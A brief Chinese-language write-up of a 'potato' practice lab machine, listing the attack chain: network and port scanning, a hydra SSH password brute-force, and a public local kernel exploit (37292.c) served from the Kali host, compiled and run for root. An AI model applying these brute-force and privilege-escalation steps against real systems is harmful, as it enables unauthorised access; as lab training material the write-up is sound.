potato靶机记录

一、靶场环境

kali：NAT模式   192.168.10.128

potato靶机： NAT模式 192.168.10.X

二、信息收集

使用arp-scan -I eth0 -l 扫描同网段主机

namp -sS -sV -p- -A 192.168.10.133 扫描靶机的端口

扫描到80和7120两个端口，访问网址查看一下

访问网址看到一个土豆图片，和靶机名称一样。扫描到的7120端口上运行的时openssh，尝试去爆破ssh

hydra ssh://192.168.10.133:7120 -l potato -P /usr/share/wordlists/john.lst -vV -f -t 32

爆破出了用户名和密码，尝试ssh连接

我们登录到了用户，查看一下版本信息，尝试提权

使用searchsploit linux ubuntu 3.13.0 查找漏洞

扫到了37292.c是一个利用漏洞的本地攻击代码，下载到本地进行利用

locate linux/local/37292.c

开启kali的http服务，将此文件下载到靶机

下载的靶机，使用gcc 37292.c -o exp 进行编译，执行exp，获取的root权限，在root权限下找到flag